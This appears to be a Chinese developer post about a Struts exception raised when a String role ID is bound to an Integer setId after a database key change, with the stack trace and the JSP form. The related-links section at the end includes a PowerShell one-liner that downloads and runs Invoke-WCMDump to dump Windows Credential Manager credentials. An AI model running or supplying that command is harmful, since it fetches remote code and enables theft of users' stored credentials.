***********************************************************************************
***********************************************************************************
Struts Problem Report
Struts has detected an unhandled exception:
Messages: argument type mismatch
Cannot invoke com.flyoa.entity.IdEntity.setId on bean class 'class com.flyoa.entity.auth.Role' - argument type mismatch - had objects of type "java.lang.String" but expected signature "java.lang.Integer"
File: org/apache/commons/beanutils/PropertyUtilsBean.java
Line number: 2,181
--------------------------------------------------------------------------------
Stacktraces
java.lang.IllegalArgumentException: Cannot invoke com.flyoa.entity.IdEntity.setId on bean class 'class com.flyoa.entity.auth.Role' - argument type mismatch - had objects of type "java.lang.String" but expected signature "java.lang.Integer"
org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2181)
org.apache.commons.beanutils.PropertyUtilsBean.setSimpleProperty(PropertyUtilsBean.java:2141)
org.apache.commons.beanutils.PropertyUtilsBean.setNestedProperty(PropertyUtilsBean.java:1948)
org.apache.commons.beanutils.PropertyUtilsBean.setProperty
***********************************************************************************
***********************************************************************************
-----------------------------------------------------------------------------------
首先告诉大家上面调试信息是save提交之后,页面返回的错误信息,解释如下:
堆栈跟踪
非法参数异常:不能调用bean类setId“class Role” - 参数类型不匹配 - 有类型的对象“java.lang.String”,
但预期的签名“java.lang.Integer”
-----------------------------------------------------------------------------------
情况是这样的,之前这个工程的实体类的主键全部是用的uuid.hex,数据库也是varchar类型,
后来为了和另外一个项目方便接口,将数据库中的主键id字段全部修改为bigint类型,实体类
也全部修改为Integer类型,所有java类中的id引用(之前是String类型)全部修改为Integer,
单表的增删改查操作是没有问题的,
------------------------------------------------------------------------------------
上面的操作是“当添加一个用户,同时需要将角色关联到这个当前用户”,出现上面的错误,
个人认为出错原因:应该是返回的页面上的,页面上是String类型,而后台java类已经修改了interger,
但是一直在页面上没有找到这个关注点,
下面是save时form表单提交的数据,提交表单的时候需要将role的id先提交,
估计是提交的角色listKey的id没有转换为Integer,
*************************************************************************************
<s:form action="/auth/user!save.action">
<s:if test="id!=null"><s:hidden name="id" /></s:if>
<s:checkboxlist label="%{getText('user.roles')}" name="checkedRoleIds"
list="getAllRoles()"
listKey="id"
listValue="getRoleName()" />
<s:submit value="%{getText('general.save')}" align="center" />
</s:form>
**************************************************************************************
分享到:
相关推荐
Ivoke-WCMDump 什么是Credential Manager...powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1');Invoke-WCMDump
pip install invoke-1.4.1-py2-none-any.whl ``` 一旦安装成功,你就可以在项目中导入并开始定义任务。例如,创建一个简单的`tasks.py`文件: ```python from invoke import task @task def clean(ctx): print(...
资源分类:Python库 所属语言:Python 资源全名:js_invoke-1.3.0-py3-none-any.whl 资源来源:官方 安装方法:https://lanzao.blog.csdn.net/article/details/101784059
通过`DYNC_Object.java`的示例,我们可以学习如何利用反射来实现bean的`set`和`get`操作,这为我们提供了更大的程序设计自由度,使得代码能够适应不断变化的需求。理解并熟练掌握这一技术,对于提升Java开发能力非常...
- `method.invoke(obj, args...);`: 调用方法,args是实际的参数值。 3. 访问构造器: - `Constructor[] cons = c.getConstructors();`: 获取所有公共构造器。 - `Constructor<?> cons = c....
Object invoke(Object proxy, Method method, Object[] args) throws Throwable; } ``` 这个方法会在代理对象上调用任何方法时被调用。参数`proxy`代表代理对象,`method`表示被调用的方法,`args`是方法的参数...
AutoLISP 读取 Excel 文件的关键函数是 vlax-get-or-create-object、vlax-get-property、vlax-invoke-method、vlax-put-property 和 vlax-safearray-type。其中,vlax-get-or-create-object 函数用于创建或获取 ...
标题 "AWS_Invoke-0.0.2-py3-none-any.whl.zip" 暗示了这是一个与Amazon Web Services(AWS)相关的软件包,具体来说是用于调用AWS服务的一个Python库。描述中的内容同样重复了标题,进一步确认了这个压缩包包含了一...
npm install vue - router - invoke - webpack - plugin - D cnpm cnpm install vue - router - invoke - webpack - plugin - D 纱 yarn add vue - router - invoke - webpack - plugin - D 什么是自动生成路线 ...
public static <T> T mapToBean(Map, Object> map, Class<T> beanClass) throws Exception { if (map == null || beanClass == null) { return null; } T obj = beanClass.newInstance(); Field[] fields = ...
《网络安全红队资源:Invoke-AtomicRedTeam深度解析》 在网络安全领域,红队与蓝队的对抗犹如猫鼠游戏,不断提升着攻击与防御的技术水平。"Invoke-AtomicRedTeam"是一个专门针对红队行动的工具集,它为网络安全专家...
使用 Invoke-WCMDump 加powershell 获取windows凭证密码 使用文档地址:https://blog.csdn.net/caperxi/article/details/117775522
0.60$ react-native link react-native-invoke-app用法 import invokeApp from 'react-native-invoke-app' ;// Within your headless functioninvokeApp ( ) ;高级用法您可以将对象传递给invokeApp方
public static Map, Object> beanToMap(Object bean) throws Exception { Map, Object> map = new HashMap(); Class<?> clazz = bean.getClass(); for (Method method : clazz.getMethods()) { if (method....
资源来自pypi官网。 资源全名:invoke-1.4.1-py2-none-any.whl
Invoke-ARPScan.ps1
【Invoke反射】是一种在.NET框架中使用的重要编程技术,它属于C#或.NET中的动态编程范畴,主要基于System.Reflection命名空间。反射允许程序在运行时检查自身的信息,并且能够动态地创建对象、调用方法、访问属性和...
Invoke-Parallel -InputObject $items -ScriptBlock { Param($item) # 在这里编写你的脚本 Write-Output "正在处理$item" } ``` 在这个例子中,`$items`数组中的每个元素都会被传递给`ScriptBlock`,并在独立的...